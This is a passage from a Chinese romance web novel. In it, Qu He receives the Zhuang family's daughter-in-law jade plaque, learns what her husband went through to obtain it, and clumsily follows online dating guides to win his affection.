庄别宴被她这副模样逗笑了,满意点了点头。
他轻轻在她唇角啄了下,才慢慢松开她,转而牵着她的手走向车子。
上车后吗,曲荷的脸还烫着。
庄别宴突然说了句:“顾聿再帅,庄太太也没机会了。”
曲荷一愣:“啊?什么机会?”
“顾聿马上要和郁嘉鱼订婚了,刚才就是来商量这事。”他语气平淡。
曲荷惊讶地睁大眼。
郁嘉鱼.....颜济堂里那个穿旗袍气质温婉的中式美人。
“硬汉刑警和旗袍美人?”她脑海里浮现出两人站在一起的画面,“这组合...好配啊!”
她没忍住把心里话说出来了。
听到她的话,庄别宴侧头看了她一眼,眉梢微挑,语气玩味:“看来,很有必要让庄留月带你好好重新认识一下郁嘉鱼了
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。”
曲荷:“.....”
她没懂这话里的深意,直到车子驶进庄宅大门。
刚进门,就看见客厅沙发上半躺着两个人。
庄留月还是那副慵懒的样子,而她身边的人....曲荷惊得差点停下巴。
她想象中旗袍美人,现在穿着一件黑色吊带和牛仔热裤,妆容精致靓丽,唇色张扬,正跷着二郎腿刷手机。
听见动静,郁嘉鱼抬头,看见曲荷时愣了下,懒洋洋抬手打了个招呼。
她看了眼手机,颓废的叹了口气,一脸生无可恋,“走了走了,烦**。”
庄留月见怪不怪,冲曲荷耸了耸肩:“别管她,马上要进婚姻坟墓了,焦虑正常的。最近天天都是这副德行。”
曲荷:“....”
原来中式美人只是她的伪装吗?这反差也太大了。
她正想追问,一个小小的身影突然飞奔过来,抱住她的腿:“曲姐姐!你可算来了!”
是庄禧。
小姑娘眼睛亮的,拉着她就往后花园跑:“我带你去捞小鱼!”
“等等。”
庄别宴突然开口,垂眸审视的看着庄禧。
“你刚才,叫她什么?”
小庄禧浑身一僵,看着舅舅沉下来的脸,非常有眼力见的仰起小脸,甜甜地改口:“舅妈!禧儿带舅妈去玩!”
曲荷被她拉着到后花园的池塘里捞了会小鱼,看着小姑娘跑得起劲,领口都歪了,她伸手帮她理了理。
手指不小心什么温润的东西,低头一看,是枚羊脂玉扣,用红绳串起来挂在庄禧的脖颈间。
这枚羊脂玉扣质地细腻温润,在阳光下泛着柔和的光,一看就价值不菲。
曲荷摸着这枚羊脂玉扣,感觉心口莫名像缺了一块似的。
小庄禧注意到曲荷的目光,得意地挺了挺胸,“舅妈,好看吧?”
她小手指摸着玉扣拿出来给她看,“这可是妈妈给我的哦!妈妈说,这是外公外婆当年给她和舅舅买的,说是只能送给世界上最最最爱的人哦。”
她仰着小脸,眼睛弯弯:“妈妈最爱禧儿啦!所以就送给我啦,嘿嘿嘿!”
“只能送给....最爱的人?”曲荷轻声重复了一遍,手指停在半空,心里被什么东西轻轻撞了下。
最爱的人....
这枚玉扣,庄别宴也有吗?
他,又会送给谁?
第74章 庄家玉牌(上)
这个念头刚冒出来,就被她强行压了下去,可心头那抹难以言喻的复杂情绪,还没忍住慢慢散开。
这时,前厅传来管家招呼开饭的声音。
庄禧扔下小网兜,拉着曲荷就往屋里跑:“舅妈快走!外公今天回来了,我们去看看他给禧儿带了什么礼物...”
外公?
曲荷脑子嗡了一下。
庄禧的外公,不就是庄别宴的父亲,她的公公吗?
她居然一点准备都没有就见家长了?
庄别宴怎么也不提前说一声,她什么都没带就来了,太冒昧了!
对于她这个传说中的公公庄毅,曲荷知道的实在不多。
只知道他把庄氏交给庄别宴后就鲜少露面,像是突然消失在了大众面前一样。
庄毅?会是什么样子?会不会很严厉?她该说些什么?
想到这,她有些手足无措,可庄禧拉着她的手跑得飞快,她只能跟着往前。
可心里的好奇却越来越重,那个养育出庄别宴的男人,究竟是什么模样?
去前厅路上,曲荷脑袋里闪过好几个关于庄毅的形象。
可是,所有的想象在见到站在客厅里的人后,彻底崩塌。
想象在现实面前不堪一击!
客厅中央的落地画前,站着一个穿着醒目夏威夷风印花衬衫和沙滩裤的男人,他的头上还带着一顶草帽。
男人被晒成小麦色的皮肤,再配上这身海岛度假风穿搭,松弛感拉满,但....
这.....是庄毅?
曲荷不敢相信自己的眼睛,下意识环视周围,可最终,她不得不接受事实。
这个度假大叔..就是庄毅!
“外公!”
小庄禧松开她的手,撒腿朝着男人跑了过去,“你给禧儿带什么好礼物了啊?”
“哎哟我的宝贝外孙女。”
庄毅转过身,爽朗大笑,弯腰一把将小庄禧抱起,胳膊还往上颠了颠,逗得她咯咯直笑。
“外公忘了谁都不能忘了我们家的小公主啊,礼物早让你妈收着了,回头让她给你翻出来。来,让外公亲一口。”
小庄禧乖巧的把小脸凑过去,搂着他的脖子撒娇:“外公这次能陪禧儿多久呀?上次说陪我捞小鱼,结果第二天就坐飞机走了....这次陪禧儿久一点好不好?”
“好!这次多陪陪我们家小公主。”庄毅刮了下她的小鼻子,声音洪亮。
祖孙俩亲昵地说笑,曲荷站在不远处。
手腕忽然被一只手握住,庄别宴的声音在耳边响起,“别紧张。”
曲荷抬头看他,勉强扯出一个笑。
这时,庄毅也放下小庄禧,朝着他们走过来。
他收起了刚才笑,看向曲荷的目光多了几分审视。
抛开那身度假装扮,他的眉眼轮廓和庄别宴确实像,连看人时蹙眉的习惯都如出一辙。
“爸,我是曲荷。”曲荷定了定神,礼貌地开口。
庄毅点了点头,目光在她身上停留了几秒,转头看向庄别宴:“就是她了?”
没头没尾的一句话,曲荷一头雾水。
庄别宴握紧了她的手,迎上父亲的目光,郑重颔首。
庄毅这才重新看向曲荷,问:“小姑娘哪里人?”
“北城人,老家在渔家渡。”
“渔家渡?”
庄毅重复着这三个字,像是想起了什么,“阿月说你是做陶瓷的?”
“对,现在开了一家陶艺店。”
曲荷的声音有些发紧。
脑子里已经开始上演狗血剧,家庭背景职业都问了,下一步不会掏出一张巨额支票让她离开他儿子吧。
可庄毅没再追问,只是静静地看着她。
他不苟言笑的样子,让人心慌慌。
庄别宴侧身,把曲荷护在身后,语气里带着护短,“别吓她了”。
话音刚落,庄毅脸上的严肃瞬间消失,哈哈大笑起来,“小姑娘别怕。”
他朝着旁边的管家使了个眼色,管家心领神会,很快捧着一个暗红色的小木盒走过来。
木盒和手掌心一般大,外面刻着云纹。
“你既然是庄家的儿媳,这东西就该给你了。”庄毅的语气正经了些,“俩孩子的妈妈走得早,这规矩不能断,只能由我亲手交给你。”
管家打开木盒,里面是一块长方形的白玉牌。
玉色温润,质地无瑕,正面还用小篆字体刻着“曲荷”两个字。
曲荷愣住了。
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>这玉牌是什么?
为什么上面会刻着她的名字?
她下意识地看向庄别宴。
庄别宴捏了捏她的掌心,低声解释:“这是庄家的儿媳玉牌,每一代女主人都要有一块。需要去宗祠请示祖辈,把名字添进族谱,再请族里最老的匠人亲手刻字,最后才能交到持牌人手上。”
他拿起那块玉牌,递到曲荷手上。
玉石微凉,眼神却滚烫,“阿荷,收下它,从今天起,你就是名正言顺的庄家女主人。”
曲荷看着手上那枚刻着自己名字的玉牌,心绪震撼又复杂,她感觉手上这块玉牌的份量太重了。
旁边的管家看着这一幕,一脸欣慰,忍不住补充:“阿宴为了求这块玉牌可是废了好大劲哦,您快收下吧。”
曲荷惊讶地抬眼:“请玉牌很难吗?”
庄毅摘下草帽,目光落在庄别宴身上,带着几分无奈,却又夹杂着几分赞许。
“说难不难,说简单,也不简单。按照庄家百年来的规矩,儿媳玉牌,通常都是等生下孩子后,由长辈去宗祠请示授予的。”
他话锋一转,“但是,阿宴这小子,铁了心要为你破了这个例!他想让你名正言顺,毫无顾虑的成为庄家的女主人。他想让你知道,庄家认可的是你曲荷这个人,和有没有孩子,什么时候生孩子,毫无关系。”
“那些个老古板...”他顿了顿,叹了口气。
曲荷心纠了一下,紧紧攥着手上的玉牌。
她追问,“那,庄别宴是怎么求成的?”
庄毅摇了摇头,看了眼曲荷,又看了眼自家儿子,“这个,你自己去问他吧。”
他大手一拍庄别宴的肩膀,感慨道:“你这小子,也是有你老爹当年风范啊!就该这样!也该让那些老顽固看看,这都什么年代了,那些个陈年旧规,早就该废了!”
他眼里满是欣慰,转身朝外走去。
晚风吹起他的衣角,他摸出贴身放着的玉牌,月光落在上面,“封如乔”三个字温润发亮。
庄毅指腹轻轻摩挲着那三个字,像在摸什么稀世珍宝。
他抬头望月,声音轻得像叹息,“如乔,你看,这臭小子随我,没白养。”
第75章 庄家玉牌(下)
车里,曲荷摩挲着手里的玉牌。
想起庄毅刚才那句“子随父”,忍不住转头问:“爸当年,也求过玉牌吗?”
庄别宴握着方向盘的手顿了顿,点头:“妈,是爸强求来的。”
“当年妈还没进门的时候,他就把玉牌求来了。那时候家里都骂他疯了,放着门当户对的联姻对象不要,非要娶一个没背景的画家,太爷爷气得差点打断他的腿。”
“那他怎么求成的?”曲荷追问。
“在宗祠跪了七天七夜。”庄别宴的声音沉了些,他看着前方流动的车灯,思绪像是回到了过去。
“六月天,太阳最毒的时候,他就跪在祠堂门口,水米不进。那几个祖辈轮流来劝,他就一句话‘非封如乔不娶’。最后还是太爷爷心软了,叹着气让他进了宗祠。”
曲荷想象着那个画面,心头一紧:“那得多难啊。”
“难的是后面。”庄别宴转过一个弯,在路旁停下,路灯光透过树叶缝在他脸上明明灭灭。
庄别宴转身,握住曲荷的手,掌心温热:“后来,妈生了庄留月,才得到了那些祖辈认可。可没多久,庄氏内乱,叔伯们都盯着继承权,宗祠的长辈放话,说必须让妈生个儿子,才能把集团交到爸手上。”
“可妈生庄留月的时候已经落了病根,身子已经很虚弱了。爸那时候都收拾好行李了,说大不了带着妈和庄留月走,什么家产都不要。可走的时候却发现,妈已经怀了我。”
这句话说得很轻,曲荷眼睛却酸了一下。
她看着庄别宴的眼睛,好像已经能看到当年那个年轻气盛的庄毅,是如何为了所爱之人,和整个家族抗衡的。
庄别宴的喉结滚了滚,声音低哑,“妈生我的时候大出血,在医院住了大半年。最名贵的药,最好的医生都用上了,可最后,还是没留住。”
曲荷的眼眶瞬间红了,用力回握住他的手,指尖都在发颤。
庄别宴忽然笑了笑,却不达眼底,笑意却没到眼底,“阿荷,你不好奇吗?为什么整个庄宅,只有我还记得那三百二十一条家规?”
曲荷摇摇头,又点点头。
“因为,我五岁前,都是在宗祠长大的。”
他看着前面的高楼建筑,眼神飘远了些,“宗祠长辈说,我是庄家的根,得按着规矩养...直到后来因为一些特殊原因,我才被放出来。”
可那时候,家里已经没有妈妈的气息了。
车厢里安静下来,只有空调的微风轻轻吹着。
曲荷摸着手上的玉牌,感觉它变得滚烫又温热。
她的心堵得慌,最终还是把那句藏在心里的话说了出来,“可是,颜外婆说过,我现在的身体状况..不太适合生孩子,而且以后可能也不容易受孕。”
说出这句话的时候,她的心里多少有些忐忑。
可话落下的瞬间,就感觉握着她的手猛地收紧了。
“阿荷。”
曲荷抬头,撞进他眼底,路灯的光恰好落在他眼里,亮得惊人。
他目光坚定,掷地有声:“我不会让那种事情发生。我不会让任何陈规旧俗,还有外界的压力来伤害你,更不会让过去重演。”
他伸手把她搂进怀里,把她的头轻轻按在自己肩头。
后半句话,庄别宴没说出口。
就算和整个宗族为敌,他也绝不会让她受半分委屈。
车重新启动,朝着白玉湾开去。
曲荷摩挲着玉牌上自己的名字,又想起什么,转头问他:“你还没告诉我,你是怎么求这块玉牌的?爸跪了宗祠,那你呢?你...也跪了吗?”
庄别宴目视前方,平淡地“嗯”了声。
许是为了让曲荷放心,他又补充,“放心,只是跪了两天,那几个老古板怕我出事,很快就把我放进去了。”
两天!
曲荷的眼眶热了一下,“是什么时候的事?”
结婚后,她就没有见过庄别宴长时间离开过,他是什么求的?
等等!
曲荷心里有了个念头,“是你上次出差的时候吗?”
他那次临时出差,还比原定时间推迟了几天才回来。
庄别宴过了几秒才点头。
上次出差...是上次他在校庆典礼上公布关
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系,替她解围的那天。
当时..他误以为她在生气,还冷战了好几天。
曲荷想起两人和好那天,看到他手上的红痕,还问了原因,可他只说“戒指刻字不小心留下的。”
可现在想想,几道红痕,分明就是留了好些个日子的,还能隐约看出血泡印。
曲荷的声音有点抖,“求玉牌,除了跪祠堂,还要做什么?”
庄别宴看着她泛红的眼眶,默默叹了口气,“还要把求玉牌的缘由和赞词刻在铁书上。”
“铁书?是铁做的书吗?”
“嗯,祖辈传下来的老规矩,用特制的铁页,把想娶的人的名字,家室,还有为什么求玉牌的缘由,都一笔一划刻上去。”
曲荷哽咽了,“是不是很难刻。”
车子到了白玉湾楼下,庄别宴踩下刹车停稳,“铁页硬,刻刀沉,每一个字都要用巧劲,急不得。”
曲荷想起他手上的红痕,“那你刻了多久。”
“不算长,一两天。”
庄别宴说得轻描淡写,却丝毫不提那几天,他几乎没合过眼,指腹都被刻刀磨出了血泡。
听到他的话,曲荷解开安全带,扑上去抱住了他,“你怎么不告诉我?”
庄别宴拍了拍她的背,抬手揉了揉她的脑袋,“没什么好说的。”
他扶正她的身子,擦掉了她眼角的泪,“阿荷,这些都不重要。重要的是,我求来了,你现在是名正言顺的庄太太,无人可以质疑。”
曲荷回握住他的手,吸了吸鼻子,眼泪还是不争气地掉了下来,落在了两人相握的手上,也落在了她掌心那块沉甸甸的玉牌上。
庄别宴温柔地看着眼前人。
阿荷,什么都不重要,重要的是,现在玉牌在你手里,你在我身边。
这就够了。
坐电梯上楼的路上,曲荷一直摩挲着玉牌,脑海里一幕幕浮现平日里和庄别宴相处的日常。
他悉心陪伴照顾她,还为她求了这庄家玉牌...
或许,司月说的也不无道理,她也不能困在过往,只是...她该怎么让庄别宴爱上她呢?
第76章 “追”人攻略
对于怎么让庄别宴爱上她这个世纪难题,这几天曲荷想的脑袋都大了。
她在电话里把这件事告诉司月后,她信心满满揽下:“学姐!这事包在我身上!保证帮你把庄总追到手,让他爱得你死心塌地!”
追?
曲荷品着这个字。
她这....也算是在追人吗?
可像她这种自己都还没喜欢上对方,就开始盘算着让他爱上自己,这行为...怎么感觉像一个渣女呢?
听着电话里司月信心满满的样子,曲荷总感觉不靠谱。
挂断电话后,她开始在网上搜索追人攻略,各种帖子层出不穷,让人眼花缭乱。
【还在为追不到crush苦恼?一键三连收藏这个视频,包教包会!】
【氛围感加上主动出击,保你拿下心动另一半!】
【如何判断对方喜不喜欢你?拿这三件事测测他!】
【追人攻略?不存在的,三招让你的另一半主动告白。】
标题一个比一个唬人,曲荷看得晕头转向,花了老半天终于摸到了一点门道。
晚上,庄别宴在厨房准备晚餐,曲荷看了眼手机备忘录里攻略第一条“适时展现个人魅力,包括但不限于展示生活技能,制造共同参与感。”
厨艺?
她看了眼厨房里的人,深吸一口气,走了过去。
她单手扣着厨房门框,似随意问了句,“你在做什么呢?”
庄别宴手上的动作没停,抬头对她笑了笑:“在处理基围虾,你昨天不是刷视频说想吃吗?”
哦,对,她昨天刷视频的时候,好像是随口提过一句。
虾?
应该....不难吧?
她好歹也是独立生活过几年的人,之前也处理过。
曲荷摩拳擦掌,自告奋勇:“我来帮你吧。”
庄别宴想都没想就摇头:“不用,快好了,别沾手了。”
“哎呀,没事的!让我来!”
她挤进去,从水池里捞起一只虾,拿起剪刀开始去虾线。
可那只虾太活蹦乱跳,极其不配合。
曲荷撇撇嘴,嫌弃地放下:“这只手感不对,换一只!”
她重新挑了一只稍微安分点的,手起刀落。剪掉了虾头和虾须,最后一扯!
完美!
她捏着虾得意地在庄别宴眼前晃了晃,“怎么样?厉害吧?”
庄别宴毫不掩饰地夸奖:“厉害!”
曲荷被夸得飘飘然,干劲十足,手下动作越来越快。
可一个没注意,剪刀一滑,就在指尖划了一道小口子,血珠瞬间冒了出来。
“嘶...”
庄别宴立刻停下动作,洗干净手,把她带到了客厅。他拿出医药箱,给手消毒贴创口贴。
曲荷看着他皱眉的样子,小声宽慰:“没事啦,就一个小口子,不处理差点就愈合了呢。”
他抬眸,深深看了她一眼,最终无奈地叹了口气。
自那之后,曲荷就被彻底剥夺了踏入厨房的资格,被迫退出厨坛。
首战出师未捷,还负了伤。
曲荷不气馁,此路不通,换条路!条条大路通庄别宴心房。
她又想起网上攻略说“细节的体贴和关怀至关重要,要让对方时刻感受到被重视!”
曲荷赞同,太有道理了!
她翻看了一下自己和庄别宴的聊天记录,基本上满屏都是他的叮嘱:
【明天下雨,记得带伞。】
【今天干燥,包里放了温的雪梨汤,记得喝。】
【本周的奶茶已经给你买好了,别贪凉慢慢喝。】
而相比之下,她的回复通常只有“哦”,“好的”,“嗯”,最多加个敷衍的表情包。
这么一对比,她确实显得....非常不体贴!
曲荷看了眼时间,马上中午了。
她立刻点开和庄别宴的聊天框,开始认真编辑:【中午好啊~上午工作辛苦啦,记得按时吃午饭哦![太阳]】
点击发送。
想了想,又觉得不够生动,又从表情包库里精挑细选了一个【小兔子给你捶捶背.jpg】发了过去。
看着自己发出的爱心问候,曲荷满意地点了点头。
连续三天,庄别宴都会在中午,准时收到曲荷这的问候和那个熟悉的小兔子表情包。
庄氏集团,总裁办公室。
庄别宴正在处理文件,手机提示音响了一下。
他条件反射地看了一眼时间,十一点四十。
拿过手机,果然,又是那个熟悉的头像和兔子表情包问候。
他其实不太明白曲荷这几天莫名发来的消息到底是什么意思,但每次都会配合她把吃午餐的照片发过去。
今天上午刚结束跨国会议,午餐推迟了。
他拿过手机回复:【今天还没吃。】
那头消息回得飞快。
老婆:【小兔子歪头疑惑.jpg】
老婆:【今天很忙吗?】
庄别宴:【刚开完会。】
消息发出去后,对面安静了一会儿。
很快,新的消息跳了出来:
老婆:【那....要不要我给你送饭过去?[小兔子期待搓手手.jpg]】
庄别宴眉梢轻挑,嘴角微微上扬。
他几乎没有任何犹豫。
庄别宴:【好。】
老婆:【那你等我一下!半个小时就到![小兔子飞奔.jpg]】
庄别宴:【好,不急,路上小心。[小兔子等待.jpg]】
对面的谭聪在看到自家庄总,一脸“见了鬼”的表情。
这时,门外秘书敲门进来:“庄总,您的午餐已经准备好了,需要现在送过来吗?”
庄别宴看向她,话里带着几分炫耀:“不用了。我太太等会儿会亲自过来给我送饭。”
秘书:“!!!”
谭聪:“????!!!!”
庄别宴看着还在石化的谭聪,吩咐:“等会儿你亲自下去接她。”
谭聪愣愣地点头:“好的,庄总。”
处理完最后一份文件后,
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谭聪正准备离开,却又被叫住。
庄别宴:“你谈过女朋友吗?”
谭聪:“……”
老板,想侮辱我可以直说,不用这么拐弯抹角。
庄别宴嫌弃地扫了他一眼,换了个问法:“如果一个人,每天固定时间给你发问候消息,关心你有没有吃午饭,这是什么意思?”
谭聪是谁?
能混到庄别宴身边第一特助的位置,自然不是一般人。
他立刻心领神会。
他清了清嗓子,开始胡诌:“庄总,据我丰富的...呃,理论经验来看,这种行为,通常都是喜欢一个人,在意一个人的直接表现!”
庄别宴抬眸,给了他一个“继续”的眼神。
谭聪受到鼓励,更加来劲:“您想啊,她每天准时发消息,这表示她心里时刻惦记着您!这是一种含蓄又持续的追求方式!她可能还没有完全确定您的心意,所以用这种日常的关怀来暗示您,试探您,慢慢渗透您的生活....”
他说了一大堆恋爱心理学和网络段子结合的理论,可对面的庄别宴只听进去了几个关键词。
“喜欢他?”
“追他?”
“试探他?”
.....
他联想到曲荷这些日子的反常举动....好像一切都有了解释。
庄别宴克制着上扬的嘴角,可心里的还是被欣喜填满。
谭聪说得嘴巴都快干了,却发现自家老板好像走神了。
他小心翼翼地叫了一声“庄总?”
庄别宴回过神,敛起情绪,淡淡“嗯”了一声。
“我知道了,你先出去吧。”
谭聪:“……”
就这?我分析了半天,就换来个“嗯”?
无情的资本家!
他内心疯狂吐槽,恭敬地转身离开。
在快要出门的时候,又听到庄别宴的声音身后传来:“是郁汕让我问的。”
谭聪:“.....”
郁二少爷?骗鬼呢!谁信啊!
但下一秒,他立刻点头:“好的庄总,我明白了。那我先出去了。”
“嗯。”
那头,曲荷看着脑袋一热答应下来的送午饭消息,头大!
半小时做是来不及了,而且她也不会啊。
曲荷飞快打开外卖软件,下单了几分精致的漂亮饭,地址填了庄氏集团,然后开车赶了过去。
刚到庄氏楼下没多久,外卖也到了。
曲荷掏出自己早就准备好的饭盒,打开外卖盒子倒了进去。
谭聪已经在一楼等候多时,见到曲荷立刻迎了上来:“太太,庄总让我来接您。”
他想接过饭盒,却被曲荷躲开:“不用不用,我自己拿就好!”
“好的,那您这边请。”谭聪引着她走向总裁专属电梯。
电梯上行至顶层十五楼,门开。
谭聪带到到了总裁办公室门口,敲了两下后就离开了。
这是曲荷第一次来庄氏,她捏着饭盒的手紧了下,然后伸后轻轻推开门。
第77章 “秘密武器”
正午阳光透过落地窗洒下一地。
曲荷轻轻推开办公室门,庄别宴就坐在不远处落地窗前的沙发上。
听到动静,他抬头起身走来,笑着牵起她的手,往里走。
曲荷一边跟着他,一边忍不住悄悄打量。
庄别宴的办公室风格与他卧室风格差不多,灰白主色调,线条利落,简约大气,
尤其是那面巨大的落地窗,一览北城风光,仿佛整个城市都在他脚下。
她把“精心准备”的饭盒放在茶几上,然后一个个拿出来摆放整齐。
庄别宴在旁边打开,“辛苦你了,还特地跑过来。”
曲荷想起网上攻略里的“追人话术指南”,抿了抿唇,努力让自己的声音听起来更甜软。
“你喜欢就好,不知道你爱吃什么,我就每样都准备了一点。”
看!既表达了关心,又不经意展示了自己的“体贴”和“全能”,完美!
曲荷在心里偷偷给自己比了个赞!
庄别宴眼眸微动,假装没听出她话里的意思,继续开着饭盒。
当第三个饭盒被打开时,曲荷嘴角抽了一下。
完蛋,刚才光顾着把外卖倒进来,没注意菜系搭配,这又是粤式虾饺,又是湘式小炒肉....
她硬着头皮解释:“那个....我最近.....在研究湘粤融合的创新菜式,新花样。”
庄别宴慢悠悠点了点头,抬眸看了她一眼,那眼底的笑意好像早已看穿一切,“是吗?阿荷真厉害。”
曲荷听着不好意思,直接破罐子破摔,“好吧好吧,其实都是外卖。”
庄别宴低笑出声,夹起一只虾饺送到她嘴边,“嗯,外卖也喜欢。”
只要是你送的。
曲荷的脸热了一下,嚼着虾饺,假装低头整理餐盒。
陪庄别宴吃午饭的时候,曲荷视线不自觉跟了过去。
她嘴里嚼着他刚刚喂的虾饺,一不小心看入神了。
怎么以前没注意到庄别宴吃饭也这么好看呢?优雅,实在优雅!
她看着看着就出了神,直到庄别宴看了过来,她才收回目光。
后知后觉才意识到,刚才居然对着他的脸犯了花痴,
她赶紧移开视线,东看看西看看,目光不小心瞥到了茶几上的几份文件,然后被封面页上的标题吸引了注意。
“这是...婚礼策划方案?”她指着问。
庄别宴点点头,把策划案拿过来递给她:“看看有没有需要修改的地方。”
曲荷接过,一页页翻看下去,越看越惊讶。
无论是婚礼主题,还是场地流程设计,甚至连蜜月旅行的细节规划都标注好了,每一项都考虑得极其周到完美,完全挑不出任何错处。
她想起之前一个人策划婚礼的场景,费心费力,最后却落个吃力不讨好的结果。
曲荷看着方案,看了眼旁边的男人,又想起网上那些攻略话术,脱口而出:“我老公真是太厉害了~”
“这份婚礼策划案简直太完美了!”
“庄别宴,你怎么能这么棒呀?”
她一句接一句地夸着,然后睁着眼睛,眼巴巴地等着他的反馈。
可庄别宴却只是淡淡地“嗯”了一声,低头喝了口汤,再无其他表示。
曲荷心里默默叹了口气,有点挫败。
唉,庄别宴也太难追了吧。
可她却没注意到,在她视线移开的那瞬间,庄别宴唇角抑制不住上扬,喝汤的勺子都差点拿不稳。
接下来几天,曲荷依旧执着地学着网上的帖子“攻略”庄别宴,然而效果甚微。
早上,曲荷在半梦半醒间感觉床垫动了一下。
她迷迷糊糊睁开眼,看见庄别宴已经洗漱完,在床边系领带。
睡意侵占大脑,曲荷看了一眼,又很快闭眼。
但在再度陷入沉睡前的最后一秒,她猛地一个激灵,直接仰卧坐了起来!
庄别宴系领带的手顿住了。
曲荷顶着一头乱发,眼神迷蒙看着他。
庄别宴放低声音:“时间还早,再睡会儿?”
这几天他享受着被她笨拙“追求”的过程,心情大好,昨晚一个没忍住,缠着她胡闹到挺晚。
他看着曲荷那明显还在打架的上下眼皮,还有一脸懵懂显然没睡醒的模样,心软得一塌糊涂。
他走过去坐在床边,帮她理了理头发,声音放得更轻:“怎么了?”
曲荷扭过头,目光落在他还没完全系好的领带上,沙哑开口,“我....我要帮你系领带。”
庄别宴:“.......”
他眼底笑意更深。
曲荷用力闭了闭眼,努力驱散睡意,可还是忍不住打了好几个哈欠。
人还没完全清醒,但脑袋里那些“追人攻略”却异常清晰“一切自然的亲密举动,都有助于拉近关系,比如,为他系领带。”
对!系领带!
可是....真的好困啊.....
她伸手拉住领带的一端,轻轻往自己这边拽了一下。
庄别宴眼底满是纵容,顺势朝她倾身靠了过去,几乎将上半身送入她怀中。
他垂眸,看着她眯着眼,笨拙又努力地系领带,只觉得整颗心都快被融化了。
“没关系,我自己来也可以。”他低声诱哄。
“我很快....很快就好了....”她嘟囔着,声音越来越小,手上的动作也越来越慢。
最后话还没说完,她的额头就一点一
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点,最后轻轻地撞在了他胸膛上。
曲荷终究还是没能战胜强大的睡意,握着他的领带,头一歪,就在他怀里再次沉沉睡去。
庄别宴失笑,温柔地看着怀里人,下巴轻轻抵着她的发顶,满腔的爱意几乎要溢出来。
阿荷,其实你什么都不用做。
我早就是你的了。
从很久以前,就是了。
接连几次“攻略”失败,曲荷有些丧气。
司月听后信誓旦旦的分析:“那是因为学姐你还没下‘狠’功夫!再等我两天,我给你准备的秘密武器马上就到了。”
秘密武器?
狠功夫?
曲荷还没来得及参透她话里的意思,就被迫出差了。
追人计划被迫中止。
海城举办了一个陶艺交流展,曲荷作为荷月坊代表参展。
交流展一共三天两夜,各种布展,交流,研讨会,忙起来后曲荷已经把“要追庄别宴”这件事抛在了脑后。
展会最后一晚,她刚洗完澡刚躺下,就收到了司月发来的消息:
【学姐!给你寄的“秘密武器”已经到家了!回去记得第一时间拆!保证有用!】
秘密武器?
快递?
家?
家!!
曲荷猛地从床上弹坐起来,家里还有个庄别宴!!
她赶紧点开和庄别宴的聊天框,屏幕上几乎全是这几天庄别宴单方面发来的消息:
【[链接]展会附近的餐厅推荐,这几家有你爱吃的。】
【明天有雨,记得带伞。】
【展会空调很足,记得带备用外套。】
而她自己,已经整整三天没主动给他发过任何消息了!
完了!
前功尽弃!
绝对是前功尽弃了!
本着死马当活马医,曲荷还想挽救一下,赶紧开始措辞打字。
她咬着指甲,精心编辑了一条消息发送过去:【晚上好呀!你忙完了吗?我明天就要回家啦![小兔子乖巧坐等.jpg]】
等了一会儿,没回复。
她又追加了一条:【月亮】
还是没动静。
完了完了....
曲荷急得在床边打了个八段锦,突然想起什么,又发了一条:
【对了,我有几个快递到了,方便的话....能帮我拆一下看看吗?[小兔子双手合十拜托.jpg]】
这次,手机很快就震动了,但是屏幕上跳出的却不是回复,而是庄别宴发来的视频通话请求。
曲荷的心跳漏了一拍,犹豫了几秒,按下了接听键。
画面接通,入眼就是一片紧实的腹肌。
上面还挂着未擦干的水珠,顺着人鱼线往下缓缓滑落,令人遐想......
第78章 “QQ”内衣
曲荷脑子还没转过来,手就下意识挂断了视频通话。
她扔开手机,可刚才看到的视频画面却在脑海里一幕幕轮番浮现。
水珠划过胸肌...腹肌....大腿肌...再往下就是被浴巾包住的....
好....好....好一个活色生香的美男出浴图!
曲荷捂住脸甩了甩头,想要把脑袋里那些“不健康”的画面甩出去。
她摸了摸滚烫的脸,跑到卫生间冷水洗了把脸。
对着镜子做了几个深呼吸。
振作点曲荷!
这才哪到哪?
反正该看的不该看的你早就看过了,刚才只是太突然了没反应过来而已!
对,就是这样!
在给她一次机会,她绝对不会这样。
不知道是老天听到了她说的话,还是为了回应她的自我安慰,手机又响了起来,还是庄别宴发来的视频通话邀请。
曲荷深吸一口气,拿起手机走回床边,一脸镇定地按下了接听键。
视频刚一接通,就听到那头传来的庄别宴低沉的轻笑声,“刚才怎么突然挂了?”
这次视频的角度正常了许多,他身上套了件黑色浴袍,至少没有像刚才那么“大尺度”了。
可是,浴袍的带子却系得松散,敞开的领口,隐隐约约还能看到腹肌,虽然不像刚才那样,但更多了几分欲拒还迎的诱惑。
他应该是刚洗完澡,头发还没完全吹干,有几根湿发还搭在额头,整个人看起来清爽,但又....性感得要命。
曲荷的眼神飘忽了一下,睁眼说瞎话,开始狡辩:“刚才..刚才酒店网络不太好,不小心断了。”
庄别宴眼底笑意更深,没有拆穿她的借口。
曲荷被他看得有些不自在,没话找话:“你....你怎么不穿衣服啊?”
庄别宴轻佻眉梢,低头看了眼。
曲荷连忙改口:“不是!我的意思是,你怎么在家里还穿浴袍?”
庄别宴语气自然:“睡衣洗了还没干。”
“哦....”
“刚才看到你的消息,不想让你等太久,所以没来得及穿。”
“....哦。”
曲荷感觉自己的脸颊温度又开始失控了。
就在这时,他那头的视频画面似乎不小心晃动了一下,庄别宴调整了下手机角度。
这个细微的动作让他本就松散的浴袍领口敞得更开了,腹肌和人鱼线毫无预兆地撞进了曲荷眼。
她脑袋一片空白。
画面调整好后,庄别宴拿着手机近了些。
他那双琥珀色眸子像是有着摄人心魄的魔力,可以穿透屏幕直直看进人心底。
曲荷心跳不自觉加快,想移开视线,却又不小心又瞥见了敞开的浴袍下乍泄的春光。
她感觉喉咙有些发干,“你...你要不先把浴袍系系好?”
庄别宴故意挑了眉,不解:“嗯?”
曲荷硬着头皮,一本正经的胡说八道:“我....我是怕你着凉!对,着凉!”
她努力让自己的话听起来正义感满满,可冒红的耳尖还是出卖了她。
屏幕那头,庄别宴看着她明明害羞得要命却还要强装镇定的模样,偷偷弯了下唇。
他倒是没再逗她,抬手,慢条斯理地重新系好了浴袍带子。
然而,曲荷还是高估了自己的定力。
腹肌虽然被藏起来了,但庄别宴那张脸还在!他随身自带的禁欲气质无处可藏。
曲荷感觉庄别宴像是西游记里的一些妖怪,身上会散发糖丝,还会钻过屏幕,无时无地不在勾引人。
她看着他,他盯着她。
谁也没有说话。
“参展还顺利吗?有去周边逛逛吗?”
庄别宴自然地抛了话题,终于结束刚才空白的尴尬。
曲荷点头,“嗯,挺顺利的。昨天有去江边看了夜景。”
“看来玩得很开心。”
曲荷笑笑。
这时,她突然想起自己“追**业”中断了三天。
